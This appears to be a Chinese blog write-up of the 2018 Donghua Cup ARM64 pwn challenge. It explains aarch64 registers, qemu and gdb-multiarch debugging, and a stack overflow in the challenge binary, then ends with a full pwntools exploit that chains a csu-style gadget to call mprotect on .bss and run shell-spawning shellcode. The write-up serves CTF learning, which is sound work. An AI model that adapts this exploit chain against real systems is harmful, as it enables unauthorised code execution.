盒子
盒子
文章目录
  1. 前言:
  2. 正文:
    1. debug,gdb相关:
    2. 解题思路:
    3. EXP:

2018东华杯-ARM PWN

前言:

我做了一天的arm,我愣是没想到居然会用mprotect函数去改权限这种操作。。哎也还是怪自己菜。

正文:

arm32位称作ARM,arm64位称作aarch64或者armv8。

之前写过一篇arm环境搭建的文章,也写过一个简单的栈溢出。环境配置啥的就不多说了,就来说说利用过程吧。因为这一题我对arm架构指令集感觉都已经比较熟了。。先看一下基本的arm指令:

1
2
3
4
5
x0-x7: 用于传递函数参数, 超出的参数将入栈. 假如在函数funcA中调用函数funcB, 传给funcB的参数超出8个的将保存在函数funcA函数栈的栈顶.

x0 - x30 是31个通用整形寄存器。每个寄存器可以存取一个64位大小的数。 当使用 r0 - r30/x0 - x30 访问时,它就是一个64位的数。当使用 w0 - w30 访问时,访问的是这些寄存器的低32位.

PC 程序计数器,俗称PC指针,总是指向即将要执行的下一条指令

x0、x1、x2是拿来做函数参数的。(前八个参数)超过八个会入栈。返回值放在x0中。

1
2
3
64位: X0-X30, XZR(零寄存器)
32位: W0-W30, WZR(零寄存器)
8086汇编中有一种特殊的寄存器段寄存器:CS,DS,SS,ES四个寄存器来保存这些段的基地址,这个属于Intel架构CPU中.在ARM中并没有

栈寄存器:

1
2
3
sp寄存器在任意时刻都会保存我们栈顶的地址
fp寄存器也称为x29寄存器属于通用寄存器, 但是在某些时刻我们利用它保存栈底地址
ARM64开始, 取消32位的LDM,STM,PUSH,PHP指令, 取而代之的是ldr/ldp,str/stp。ARM64里面对栈的操作是16字节对齐的

x30寄存器:

1
x30寄存器存放的是函数的返回地址. 当ret指令执行时, 会寻找x30寄存器保存的地址所指向的内存保存的值为下一条指令

bl跳转指令:

1
2
B/BL ; 绝对跳转, 返回地址保存到LR(X30)
BNE ;有条件跳转(不为零则跳转)

常用汇编指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
MOV X1,X0 ; 将寄存器X0的值传送到寄存器X1

ADD X0,X1,X2 ; 寄存器X1和X2的值相加后传送到X0

SUB X0,X1,X2 ; 寄存器X1和X2的值相减后传送到X0

AND X0,X0,#0xF ; X0的值与0xF相位与后的值传送到X0

ORR X0,X0,#9 ; X0的值与9相或后的值传送到X0

EOR X0,X0,#0xF ; X0的值与0xF相异或后的值传送到X0

LDR X5,[X6,#0x08] ;X6寄存器加0x08的和的地址值内的数据传送到X5

STR X0, [SP, #0x8] ;X0寄存器的数据传送到SP+0x8地址值指向的存储空间

STP x29, x30, [sp, #0x10] ; 入栈指令(将x29,x30存放在sp+0x10为地址的栈中)

LDP x29, x30, [sp, #0x10] ; 出栈指令(从sp+0x10为地址的栈中读取数据到x29,x30)

以上出入栈操作不影响sp指针的值。
LDP X29, X30, [SP],#0x40 ;从sp为地址的栈中取出两个数据到x29,x30中,之后将sp加上0x40
以上出入栈操作影响sp指针的值。

debug,gdb相关:

接下来写一下关于如何在ubuntu上边写exp边调试arm程序的问题,这个问题困扰了我很久。

这种时候就得充分利用到pwntools包里的东西了,在process参数中这样执行:

1
p = process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu','./pwn'])

但是这样只是能够在本地跑一遍程序加上我们的exp罢了,加上了gdb.attach并不好使,因为此时的gdb不是gdb-multiarch,所以识别不了arm架构的程序,无法跟调。这时候就应该加上一个-g端口了:

1
p = process(['qemu-aarch64','-g','1212','-L','/usr/aarch64-linux-gnu','./pwn'])

这时候你会发现程序一开始就卡住不动了,这其实是在等待gdb链接,再另开一个shell,执行gdb-mulitarch ./elf -qtarget remote一下就OK了,这样就可以跟踪动态调试了。

解题思路:

接下来看看如何解题:

1
2
3
4
5
6
7
➜  haijibei checksec ./pwn 
[*] '/home/parallels/Desktop/haijibei/pwn'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

主程序:

1
2
3
4
5
6
7
8
__int64 sub_400818()
{
sub_400760();
write(1LL, "Name:", 5LL);
read(0LL, &unk_411068, 512LL);
sub_4007F0();
return 0LL;
}
1
2
3
4
5
6
__int64 sub_4007F0()
{
__int64 v1; // [xsp+10h] [xbp+10h]

return read(0LL, &v1, 512LL);
}

明显的栈溢出,还有一处可写到bss段上。

所以改变执行流程即可,偏移为72,在bss端上写shellcode,再把执行流程弄到bss段执行shellcode即可。

但是这里这个办法只有本地可以但是远程不行,原因就是bss段只有可读可写权限没有可执行权限

这里的思路就是利用mprotect改变bss段的权限使其可执行。看看mprotect函数的定义:

1
2
3
#include <sys/mman.h>

int mprotect(void *addr, size_t len, int prot);

addr为起始地址,后面为长度,这里需要内存页对其,也就是0x1000的整数倍,prot列表:

1
2
3
4
5
6
7
PROT_NONE  The memory cannot be accessed at all.

PROT_READ The memory can be read.

PROT_WRITE The memory can be modified.

PROT_EXEC The memory can be executed.

各个模式间可用|连接起来。

而且arm恰巧也有一个万能gadget,跟x86平台上的__libc_csu_init利用一样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:00000000004008AC loc_4008AC                              ; CODE XREF: sub_400868+60↓j
.text:00000000004008AC LDR X3, [X21,X19,LSL#3]
.text:00000000004008B0 MOV X2, X22
.text:00000000004008B4 MOV X1, X23
.text:00000000004008B8 MOV W0, W24
.text:00000000004008BC ADD X19, X19, #1
.text:00000000004008C0 BLR X3
.text:00000000004008C4 CMP X19, X20
.text:00000000004008C8 B.NE loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC LDP X19, X20, [SP,#var_s10]
.text:00000000004008D0 LDP X21, X22, [SP,#var_s20]
.text:00000000004008D4 LDP X23, X24, [SP,#var_s30]
.text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC RET

具体就不说了,这里的0x4008AC处要注意的是x3取的是地址中的内容,所以这里可以在bss段上写一个mprotect@plt的地址,将指针指向bss段上即可。exp中最好指明arch架构。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

p = process(['qemu-aarch64','-g','1212','-L','/usr/aarch64-linux-gnu','./pwn'])
#p = remote('106.75.126.171',33865)
#p = remote('127.0.0.1',1212)
context.log_level = 'debug'
context(arch = 'aarch64')
elf = ELF('pwn')

print hex(elf.got['mprotect'])
p.recvuntil('Name:')
payload = p64(0x400600) + asm(shellcraft.aarch64.linux.sh())
#payload1 = 'A'*(0x200 - len(payload)) + payload
print len(payload)
p.send(payload)

sleep(1)
payload2 = 'A'*0x48 + p64(0x4008CC) + p64(0x0) + p64(0x4008AC) + p64(0x0)
payload2 += p64(0x1) + p64(0x411068) + p64(0x7) + p64(0x1000)
payload2 += p64(0x411048) + p64(0x0) + p64(0x411070)
#pause()
#gdb.attach(p)
p.send(payload2)

p.interactive()

小问题:

有的人可能asm不了aarch64的shellcode,这里是因为缺链接了:

1
$ sudo apt-get install binutils-aarch64-linux-gnu

即可。

支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫